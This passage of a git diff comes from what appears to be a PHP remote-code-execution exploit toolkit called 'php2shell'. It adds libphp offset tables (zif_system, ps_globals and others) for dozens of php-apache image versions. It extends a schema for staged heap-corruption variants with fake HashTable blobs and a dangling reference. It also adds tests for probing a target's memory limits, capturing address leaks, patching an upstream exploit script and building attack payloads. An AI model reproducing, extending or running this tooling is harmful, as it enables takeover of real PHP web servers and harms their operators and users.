"0xefbaa0" + }, + "libphp_sha256": "d92ab65c24d3f3d1528fffb716a35dccf2bfdd0e74618f8bc2e4d5376a04496b", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.2.28-amd64.json b/profiles/offsets/8.2.28-amd64.json new file mode 100644 index 0000000..16e9665 --- /dev/null +++ b/profiles/offsets/8.2.28-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.2.28-apache", + "php_version": "8.2.28", + "branch": "8.2", + "arch": "amd64", + "libphp": { + "zif_system": "0x3928b0", + "zval_ptr_dtor": "0x47b630", + "ps_globals": "0xf2a120" + }, + "libphp_sha256": "b9d2697c2be29339d61e81b91008cda1e0127eed31d97150ea1dd0b6073a15fe", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.2.34-amd64.json b/profiles/offsets/8.2.34-amd64.json new file mode 100644 index 0000000..157d3ad --- /dev/null +++ b/profiles/offsets/8.2.34-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.2.34-apache", + "php_version": "8.2.34", + "branch": "8.2", + "arch": "amd64", + "libphp": { + "zif_system": "0x39b8a0", + "zval_ptr_dtor": "0x487650", + "ps_globals": "0xf3a120" + }, + "libphp_sha256": "42ae9f69550e036ff5ad3d25d7ebf6b40bf2dd6531e8f891de53bea0d1663e9b", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.3.20-amd64.json b/profiles/offsets/8.3.20-amd64.json new file mode 100644 index 0000000..581d49e --- /dev/null +++ b/profiles/offsets/8.3.20-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.3.20-apache", + "php_version": "8.3.20", + "branch": "8.3", + "arch": "amd64", + "libphp": { + "zif_system": "0x3a21d0", + "zval_ptr_dtor": "0x491bd0", + "ps_globals": "0x102f280" + }, + "libphp_sha256": "2604b7aaee2670a93f92b35385c0ea2b282eada7d7a3d6c7f361bb893575546a", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.3.35-amd64.json b/profiles/offsets/8.3.35-amd64.json new file mode 100644 index 0000000..6ca15f0 --- /dev/null +++ b/profiles/offsets/8.3.35-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.3.35-apache", + "php_version": "8.3.35", + "branch": "8.3", + "arch": "amd64", + "libphp": { + "zif_system": "0x3ac080", + "zval_ptr_dtor": "0x49ec50", + "ps_globals": "0x10432a0" + }, + "libphp_sha256": "ea069762fa225a2d61ebf613db5686d7c29823acf641424d596f78fcaa1cdccb", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.10-amd64.json b/profiles/offsets/8.4.10-amd64.json new file mode 100644 index 0000000..a509451 --- /dev/null +++ b/profiles/offsets/8.4.10-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.10-apache", + "php_version": "8.4.10", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x43b7d0", + "zval_ptr_dtor": "0x62cf70", + "ps_globals": "0x142af20" + }, + "libphp_sha256": "a6b5a2e606b3c06681cc6b13a23aab948c2daf7060c90871c18e4700eb3c655d", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.11-amd64.json b/profiles/offsets/8.4.11-amd64.json new file mode 100644 index 0000000..642ed9a --- /dev/null +++ b/profiles/offsets/8.4.11-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.11-apache", + "php_version": "8.4.11", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x446cb0", + "zval_ptr_dtor": "0x63d2e0", + "ps_globals": "0x143cf20" + }, + "libphp_sha256": "fe10341d35be5fdd811fac334457df1b23a11d779eaf4d3188c73f73a62ef726", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.12-amd64.json b/profiles/offsets/8.4.12-amd64.json new file mode 100644 index 0000000..c4833a8 --- /dev/null +++ b/profiles/offsets/8.4.12-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.12-apache", + "php_version": "8.4.12", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x446cf0", + "zval_ptr_dtor": "0x63dc20", + "ps_globals": "0x143df20" + }, + "libphp_sha256": "e6624242a76dc0a44a5507b7d3e0ebf3b2a4d737d542c7924a5e164e021a2ee1", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.13-amd64.json b/profiles/offsets/8.4.13-amd64.json new file mode 100644 index 0000000..dc333c5 --- /dev/null +++ b/profiles/offsets/8.4.13-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.13-apache", + "php_version": "8.4.13", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x445bf0", + "zval_ptr_dtor": "0x63cbe0", + "ps_globals": "0x12e1880" + }, + "libphp_sha256": "f736a943df7037ed2189d19b5c5215bc404b17422177146fd2e69d37c2650dbc", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.14-amd64.json b/profiles/offsets/8.4.14-amd64.json new file mode 100644 index 0000000..5de5476 --- /dev/null +++ b/profiles/offsets/8.4.14-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.14-apache", + "php_version": "8.4.14", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x445c30", + "zval_ptr_dtor": "0x63d020", + "ps_globals": "0x12e1880" + }, + "libphp_sha256": "8a0e20af698c92451144d3144ea9ed9a471e5691a5046349cdd86f0628723c2b", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.15-amd64.json b/profiles/offsets/8.4.15-amd64.json new file mode 100644 index 0000000..279dbad --- /dev/null +++ b/profiles/offsets/8.4.15-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.15-apache", + "php_version": "8.4.15", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x445f70", + "zval_ptr_dtor": "0x63d420", + "ps_globals": "0x12e1880" + }, + "libphp_sha256": "6a36c3e76d6238fcdc03b75545b039b6a61c49f5665666ad99b6e09e49f9018b", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.16-amd64.json b/profiles/offsets/8.4.16-amd64.json new file mode 100644 index 0000000..02bb2f8 --- /dev/null +++ b/profiles/offsets/8.4.16-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.16-apache", + "php_version": "8.4.16", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x446930", + "zval_ptr_dtor": "0x63de20", + "ps_globals": "0x12e2880" + }, + "libphp_sha256": "d8b25ea74955424a6faf67e6a7c7323cb8476d39aab9485fe4e913211d0e26b1", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.17-amd64.json b/profiles/offsets/8.4.17-amd64.json new file mode 100644 index 0000000..ac14d41 --- /dev/null +++ b/profiles/offsets/8.4.17-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.17-apache", + "php_version": "8.4.17", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x446cb0", + "zval_ptr_dtor": "0x63e520", + "ps_globals": "0x12e2880" + }, + "libphp_sha256": "557ac34f8abef55019e09370d9dcf3d2f9ce0b4990b2263b7a8750ba42c4371f", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.18-amd64.json b/profiles/offsets/8.4.18-amd64.json new file mode 100644 index 0000000..d33efef --- /dev/null +++ b/profiles/offsets/8.4.18-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.18-apache", + "php_version": "8.4.18", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x446ff0", + "zval_ptr_dtor": "0x63eb20", + "ps_globals": "0x12e3880" + }, + "libphp_sha256": "b8b22ade47419643156827f4955408d43f2846487c721a4c8307e7e2b8705aed", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.19-amd64.json b/profiles/offsets/8.4.19-amd64.json new file mode 100644 index 0000000..e2cbbd3 --- /dev/null +++ b/profiles/offsets/8.4.19-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.19-apache", + "php_version": "8.4.19", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x4472f0", + "zval_ptr_dtor": "0x63efe0", + "ps_globals": "0x12e3880" + }, + "libphp_sha256": "f56ef68faa09c408f7f7144a07628ed71b7d6f2270cdf7e1f063cdc7e12a1853", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.2-amd64.json b/profiles/offsets/8.4.2-amd64.json new file mode 100644 index 0000000..7e76c1c --- /dev/null +++ b/profiles/offsets/8.4.2-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.2-apache", + "php_version": "8.4.2", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x4398b0", + "zval_ptr_dtor": "0x628ea0", + "ps_globals": "0x1425e00" + }, + "libphp_sha256": "40d65d5f25ce0ef018e9b8aec8a12f2268372038da99a3ae01f5d50d9e8fcb9e", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.20-amd64.json b/profiles/offsets/8.4.20-amd64.json new file mode 100644 index 0000000..ab03f29 --- /dev/null +++ b/profiles/offsets/8.4.20-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.20-apache", + "php_version": "8.4.20", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x447530", + "zval_ptr_dtor": "0x63f9e0", + "ps_globals": "0x12e4880" + }, + "libphp_sha256": "9324d527478896a08f0eeb0c0c9db1b6a7a716ac5af912fbbc17722224a893b8", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.25-amd64.json b/profiles/offsets/8.4.25-amd64.json new file mode 100644 index 0000000..1bb28bc --- /dev/null +++ b/profiles/offsets/8.4.25-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.25-apache", + "php_version": "8.4.25", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x464c70", + "zval_ptr_dtor": "0x65dc60", + "ps_globals": "0x1315860" + }, + "libphp_sha256": "a70977eb3ed3aea0569e92da8e3d95d99ff4d96ea8b2fe5ce283525cc01d8a48", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.5-amd64.json b/profiles/offsets/8.4.5-amd64.json new file mode 100644 index 0000000..75b64b3 --- /dev/null +++ b/profiles/offsets/8.4.5-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.5-apache", + "php_version": "8.4.5", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x43b660", + "zval_ptr_dtor": "0x62c420", + "ps_globals": "0x1428e00" + }, + "libphp_sha256": "8265285f9025cc33503122294930f5b11937003bc37168e91cefcb296333a6c2", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.6-amd64.json b/profiles/offsets/8.4.6-amd64.json new file mode 100644 index 0000000..42976af --- /dev/null +++ b/profiles/offsets/8.4.6-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.6-apache", + "php_version": "8.4.6", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x43b940", + "zval_ptr_dtor": "0x62ca40", + "ps_globals": "0x142ae40" + }, + "libphp_sha256": "77a71f443d520b28658dc9aa06c1c230d6858d8d52144da5d0604f92e8a19b70", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.7-amd64.json b/profiles/offsets/8.4.7-amd64.json new file mode 100644 index 0000000..daa8afa --- /dev/null +++ b/profiles/offsets/8.4.7-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.7-apache", + "php_version": "8.4.7", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x43b920", + "zval_ptr_dtor": "0x62cd60", + "ps_globals": "0x142ae40" + }, + "libphp_sha256": "f7f4da8f78fdd0b5e1abe7d5fe0bdc0c5fc24991b43451ec3c8ed0f4946af419", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.4.8-amd64.json b/profiles/offsets/8.4.8-amd64.json new file mode 100644 index 0000000..7abe71f --- /dev/null +++ b/profiles/offsets/8.4.8-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.4.8-apache", + "php_version": "8.4.8", + "branch": "8.4", + "arch": "amd64", + "libphp": { + "zif_system": "0x43b940", + "zval_ptr_dtor": "0x62cd10", + "ps_globals": "0x142ae40" + }, + "libphp_sha256": "d8d7da3c6aca4cb1a3e8a3bb26c2626b0a736eee533a001a858cb3724b278452", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.0-amd64.json b/profiles/offsets/8.5.0-amd64.json new file mode 100644 index 0000000..b6b69b9 --- /dev/null +++ b/profiles/offsets/8.5.0-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.0-apache", + "php_version": "8.5.0", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x56a420", + "zval_ptr_dtor": "0x781fe0", + "ps_globals": "0x175a5e0" + }, + "libphp_sha256": "4fa99c0490a0f63e26ff24317834a806c2294a7700548b883e918524d0739a06", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.1-amd64.json b/profiles/offsets/8.5.1-amd64.json new file mode 100644 index 0000000..d1678aa --- /dev/null +++ b/profiles/offsets/8.5.1-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.1-apache", + "php_version": "8.5.1", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x56a9a0", + "zval_ptr_dtor": "0x7826a0", + "ps_globals": "0x175a5e0" + }, + "libphp_sha256": "17ab01d2e00c2abe23856901f748ac87f263960b479373b95b5493d99457f025", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.10-amd64.json b/profiles/offsets/8.5.10-amd64.json new file mode 100644 index 0000000..6661903 --- /dev/null +++ b/profiles/offsets/8.5.10-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.10-apache", + "php_version": "8.5.10", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x598d60", + "zval_ptr_dtor": "0x7b3860", + "ps_globals": "0x1770a40" + }, + "libphp_sha256": "949ee4ed17c758e97033d5a0baacf68b8b9e1d40a8915586375f62229f676129", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.11-amd64.json b/profiles/offsets/8.5.11-amd64.json new file mode 100644 index 0000000..b79c64b --- /dev/null +++ b/profiles/offsets/8.5.11-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.11-apache", + "php_version": "8.5.11", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x5996e0", + "zval_ptr_dtor": "0x7b47a0", + "ps_globals": "0x1771a40" + }, + "libphp_sha256": "2c80ca2a245ca1ccca9946f30ebeca210b9689bc24f2bd07eda717d70108ee5d", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.2-amd64.json b/profiles/offsets/8.5.2-amd64.json new file mode 100644 index 0000000..a28aff7 --- /dev/null +++ b/profiles/offsets/8.5.2-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.2-apache", + "php_version": "8.5.2", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x56bca0", + "zval_ptr_dtor": "0x783de0", + "ps_globals": "0x175a680" + }, + "libphp_sha256": "592c925143d18bbfa80345e8bf193943662ab2a65ef8b5525559665075e67567", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.3-amd64.json b/profiles/offsets/8.5.3-amd64.json new file mode 100644 index 0000000..23ea027 --- /dev/null +++ b/profiles/offsets/8.5.3-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.3-apache", + "php_version": "8.5.3", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x56d1e0", + "zval_ptr_dtor": "0x785620", + "ps_globals": "0x175b680" + }, + "libphp_sha256": "e250fa12dd83c2497febbfc705010c893d679102096a9c1d55b09f4d4490e2e6", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.4-amd64.json b/profiles/offsets/8.5.4-amd64.json new file mode 100644 index 0000000..8a3b9d6 --- /dev/null +++ b/profiles/offsets/8.5.4-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.4-apache", + "php_version": "8.5.4", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x5705e0", + "zval_ptr_dtor": "0x788ba0", + "ps_globals": "0x175b6a0" + }, + "libphp_sha256": "e9408fda9ee9a569a12b96813a36e41f6bff823cf6d6dea5662fefc32543a41f", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.5-amd64.json b/profiles/offsets/8.5.5-amd64.json new file mode 100644 index 0000000..f284336 --- /dev/null +++ b/profiles/offsets/8.5.5-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.5-apache", + "php_version": "8.5.5", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x570de0", + "zval_ptr_dtor": "0x789ae0", + "ps_globals": "0x175b6a0" + }, + "libphp_sha256": "5c6f6a0e1c4305caca5e68cbd29d3aed18090c48fb5bcd09d524402ebacb45c8", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.6-amd64.json b/profiles/offsets/8.5.6-amd64.json new file mode 100644 index 0000000..951a82e --- /dev/null +++ b/profiles/offsets/8.5.6-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.6-apache", + "php_version": "8.5.6", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x595160", + "zval_ptr_dtor": "0x7ae6e0", + "ps_globals": "0x176fa20" + }, + "libphp_sha256": "8f430f9feb06f7df9a1a325ddbc11ada945da0d9b7c62c2e41ea217f35dd9847", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.7-amd64.json b/profiles/offsets/8.5.7-amd64.json new file mode 100644 index 0000000..cd17f73 --- /dev/null +++ b/profiles/offsets/8.5.7-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.7-apache", + "php_version": "8.5.7", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x5960e0", + "zval_ptr_dtor": "0x7b0460", + "ps_globals": "0x176fa40" + }, + "libphp_sha256": "641b7f6241cf7d558ae16168cb186cad6e345cc414a4c663478d7e4dd2cbf7ee", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.8-amd64.json b/profiles/offsets/8.5.8-amd64.json new file mode 100644 index 0000000..6331fda --- /dev/null +++ b/profiles/offsets/8.5.8-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.8-apache", + "php_version": "8.5.8", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x596620", + "zval_ptr_dtor": "0x7b0d60", + "ps_globals": "0x176fa40" + }, + "libphp_sha256": "5b458d2bb61f7cf578f2fb00c6f0b35f0151a9cf44eac773210fb74013799256", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/offsets/8.5.9-amd64.json b/profiles/offsets/8.5.9-amd64.json new file mode 100644 index 0000000..e350ab2 --- /dev/null +++ b/profiles/offsets/8.5.9-amd64.json @@ -0,0 +1,13 @@ +{ + "image": "php:8.5.9-apache", + "php_version": "8.5.9", + "branch": "8.5", + "arch": "amd64", + "libphp": { + "zif_system": "0x598160", + "zval_ptr_dtor": "0x7b29a0", + "ps_globals": "0x1770a40" + }, + "libphp_sha256": "4f7ae4a32849216d390f7055b8762559d514b936837c3d05c786fd907d6abf2e", + "status": "offsets extracted; heap not calibrated" +} \ No newline at end of file diff --git a/profiles/schema.json b/profiles/schema.json index 015bbb0..1b424c2 100644 --- a/profiles/schema.json +++ b/profiles/schema.json @@ -148,6 +148,43 @@ "null" ], "description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated." + }, + "stage3_mode": { + "type": [ + "string", + "null" + ], + "enum": [ + "carrier", + "lab", + "vessel", + null + ], + "description": "Stage-3 variant: 'carrier' (upstream 15-byte bin-40 string), 'lab' (55-byte reference carriers) or 'vessel' (reference pattern embedded in a fake-HashTable blob; see tools/php2shell_vessel.py). Null when stage 3 is not calibrated." + }, + "stage3_early": { + "type": [ + "integer", + "null" + ], + "minimum": 1, + "description": "Vessel mode: bytes of the S-side early field that steers the dangling reference one page up (bin-13 sized, e.g. 160)." + }, + "stage3_blobs": { + "type": [ + "integer", + "null" + ], + "minimum": 1, + "description": "Vessel mode: number of B2 fake-HashTable blobs (bin-13 allocations)." + }, + "stage3_vessel_index": { + "type": [ + "integer", + "null" + ], + "minimum": 0, + "description": "Vessel mode: index of the B2 blob that carries the embedded reference pattern." } }, "additionalProperties": false @@ -246,6 +283,7 @@ "stage1_forge_len", "stage2_t", "stage2_v", + "stage3_mode", "stage3_pads", "stage3_carrier" ], diff --git a/tests/test_core.py b/tests/test_core.py index bf14ee9..9ce8155 100644 --- a/tests/test_core.py +++ b/tests/test_core.py @@ -143,6 +143,59 @@ def test_local_fallback_repo(self): self.assertEqual(auto.resolve_proof(args, ""), "/repo/out/p1") +class ProbeTests(unittest.TestCase): + def test_oom_fatal_reveals_memory_limit(self): + body = (b"HTTP/1.1 200 OK\r\n\r\n
\nFatal error: Allowed memory size " + b"of 8388608 bytes exhausted (tried to allocate 16777224 bytes)") + parsed = auto.parse_probe_response(body) + self.assertEqual(parsed["memory_limit"], 8) + self.assertTrue(parsed["diagnostics"]) + self.assertIsNone(parsed["post_max_size"]) + + def test_body_size_warning_reveals_post_max_size(self): + body = (b"HTTP/1.1 200 OK\r\n\r\n
\nWarning: POST Content-Length of " + b"146800640 bytes exceeds the limit of 8388608 bytes") + parsed = auto.parse_probe_response(body) + self.assertEqual(parsed["post_max_size"], 8388608) + self.assertTrue(parsed["diagnostics"]) + self.assertIsNone(parsed["memory_limit"]) + + def test_413_is_a_rejection_not_diagnostics(self): + parsed = auto.parse_probe_response(b"HTTP/1.1 413 Request Entity Too Large\r\n\r\n") + self.assertTrue(parsed["rejected"]) + self.assertFalse(parsed["diagnostics"]) + + def test_plain_page_is_no_diagnostics(self): + parsed = auto.parse_probe_response(b"HTTP/1.1 200 OK\r\n\r\nOK\n") + self.assertFalse(parsed["diagnostics"]) + self.assertIsNone(parsed["memory_limit"]) + self.assertIsNone(parsed["post_max_size"]) + + def test_generic_php_markup_counts_as_diagnostics(self): + parsed = auto.parse_probe_response(b"HTTP/1.1 200 OK\r\n\r\nDeprecated: blah") + self.assertTrue(parsed["diagnostics"]) + + +class LeakTests(unittest.TestCase): + def test_small_value_is_implausible(self): + self.assertEqual(auto.implausible_leak({"chunk_base": 0x600000}), "0x600000") + + def test_mmap_base_is_plausible(self): + self.assertIsNone(auto.implausible_leak({"chunk_base": 0x7FBE18800000})) + + def test_aarch64_mmap_base_is_plausible(self): + self.assertIsNone(auto.implausible_leak({"chunk_base": 0xFFFF84600000})) + + def test_no_leak_is_not_implausible(self): + self.assertIsNone(auto.implausible_leak({})) + + def test_capture_leaks_from_upstream_output(self): + sink = {} + auto._capture_leaks("[+] chunk base = 0x600000\n", sink) + auto._capture_leaks("[+] libphp base = 0x7fbe1a200000\n", sink) + self.assertEqual(sink, {"chunk_base": 0x600000, "libphp_base": 0x7FBE1A200000}) + + class InventoryTests(unittest.TestCase): def test_profiles_are_valid(self): names = set() @@ -162,6 +215,13 @@ def test_profiles_are_valid(self): self.assertIsNotNone(data["libphp"].get("htdata"), path) self.assertTrue(data["stages"].get("stage3_pads"), path) self.assertIsInstance(data.get("oom_mb"), int, path) + mode = data["stages"].get("stage3_mode") + self.assertIn(mode, ("carrier", "lab", "vessel"), path) + if mode == "vessel": + for key in ("stage3_early", "stage3_blobs", + "stage3_vessel_index"): + self.assertIsInstance( + data["stages"].get(key), int, path) def test_profile_schema_if_present(self): schema = ROOT / "profiles" / "schema.json" @@ -170,6 +230,10 @@ def test_profile_schema_if_present(self): self.assertIn("$schema", data) self.assertEqual(data.get("type"), "object") self.assertIn("arch", data.get("required", [])) + rce_then = data.get("then", {}) + self.assertIn("stage3_mode", + rce_then.get("properties", {}) + .get("stages", {}).get("required", [])) def test_offset_arch_metadata(self): for path in sorted((ROOT / "profiles" / "offsets").glob("*.json")): diff --git a/tests/test_launcher.py b/tests/test_launcher.py index 2686adc..136c9fb 100644 --- a/tests/test_launcher.py +++ b/tests/test_launcher.py @@ -28,5 +28,16 @@ def test_missing_repo_is_not_cloned(self): self.assertIn("bootstrap_upstream.py", result.stderr) +class LabsValidationTests(unittest.TestCase): + def test_unknown_only_version_is_rejected(self): + result = subprocess.run( + [sys.executable, str(ROOT / "tools" / "php2shell_labs.py"), + "up", "--only", "8.3.0"], + capture_output=True, text=True, timeout=30) + self.assertEqual(result.returncode, 2) + self.assertIn("unknown version(s) in --only: 8.3.0", result.stderr) + self.assertIn("available:", result.stderr) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_upstream_patch.py b/tests/test_upstream_patch.py index 977f999..e8321e8 100644 --- a/tests/test_upstream_patch.py +++ b/tests/test_upstream_patch.py @@ -32,6 +32,13 @@ def _connect(self): ctx = ssl.create_default_context() s = ctx.wrap_socket(s) return s + + +def parse_cookie(resp): + m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp) + if not m: + return b"" + return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) ''' @@ -60,9 +67,18 @@ def test_patch_tls_keeps_sni(self): self.assertIn("server_hostname=self.host", text) self.assertFalse(up.patch_tls(str(self.repo))) + def test_patch_cookie_decode(self): + self.assertTrue(up.patch_cookie_decode(str(self.repo))) + text = (self.repo / "exploit.py").read_text() + self.assertIn('raw = m.group(1).replace(b"+", b"%20")', text) + self.assertIn("unquote_to_bytes(raw.decode", text) + # idempotent + self.assertFalse(up.patch_cookie_decode(str(self.repo))) + def test_missing_upstream_is_safe(self): self.assertFalse(up.patch_params(str(self.repo / "missing"))) self.assertFalse(up.patch_tls(str(self.repo / "missing"))) + self.assertFalse(up.patch_cookie_decode(str(self.repo / "missing"))) if __name__ == "__main__": diff --git a/tests/test_vessel.py b/tests/test_vessel.py new file mode 100644 index 0000000..02180c8 --- /dev/null +++ b/tests/test_vessel.py @@ -0,0 +1,245 @@ +#!/usr/bin/env python3 +"""Unit tests for the vessel stage-3 variant (tools/php2shell_vessel.py).""" + +from __future__ import annotations + +import argparse +import struct +import sys +import unittest +from pathlib import Path +from types import SimpleNamespace +from unittest import mock + +ROOT = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(ROOT / "tools")) + +import php2shell_auto as auto # noqa: E402 +import php2shell_vessel as ves # noqa: E402 + + +class FakeTarget: + """Records posts so fire() can be verified without a server.""" + + def __init__(self): + self.posts = [] # (body, boundary, extra_headers) + self.timeout = 30.0 + + def log(self, msg): + pass + + def post(self, body, boundary, read_cap=None, timeout=None, + extra_headers=None): + self.posts.append((body, boundary, extra_headers)) + + def get(self, path): + return 404, b"" + + +class FakeMod: + """Records build_multipart calls; the body itself is opaque.""" + + SID = b"S" * 32 + + def __init__(self): + self.calls = [] # (parts, boundary) + + def build_multipart(self, parts, boundary): + self.calls.append((parts, boundary)) + return b"BODY" + + +class FakeExploit: + """Just enough of upstream Exploit for the vessel helpers.""" + + def __init__(self, target, payload): + self.t = target + self._payload = payload + + def _fake_payload(self, htdata, zif): + return bytearray(self._payload), None + + def _file_part(self): + return {"name": "file", "data": b"F"} + + def _big_field(self): + return {"name": "big", "data": b"B"} + + +def make_pair(payload=None): + payload = payload if payload is not None else bytes(range(167)) + mod, target = FakeMod(), FakeTarget() + return mod, FakeExploit(target, payload), target + + +class PadSpecTests(unittest.TestCase): + def test_parse_pads_groups(self): + self.assertEqual(ves.parse_pads("7:7x3"), [(7, 7)] * 3) + self.assertEqual(ves.parse_pads("31:31x6,7:7x3"), + [(31, 31)] * 6 + [(7, 7)] * 3) + self.assertEqual(ves.parse_pads("5:9x1"), [(5, 9)]) + + def test_parse_pads_none(self): + for spec in ("none", "", "0x0"): + self.assertEqual(ves.parse_pads(spec), []) + + def test_parse_pads_rejects_bad_spec(self): + with self.assertRaises(argparse.ArgumentTypeError): + ves.parse_pads("7:7") # missing repeat count + with self.assertRaises(argparse.ArgumentTypeError): + ves.parse_pads("junk") + + def test_round_trip(self): + for spec in ("7:7x3", "31:31x6,7:7x3", "5:9x1,7:7x2"): + self.assertEqual(ves.pads_to_spec(ves.parse_pads(spec)), spec) + + def test_pads_to_spec_groups_consecutive(self): + self.assertEqual(ves.pads_to_spec([[7, 7], (7, 7), (31, 5)]), + "7:7x2,31:5x1") + + +class CarrierPatternTests(unittest.TestCase): + def test_pattern_bytes(self): + htdata = 0x7F00000690D8 + self.assertEqual( + ves.carrier_pattern(htdata), + struct.pack("= 8 bytes, so B2 + # never carves a bin-3 slot before the 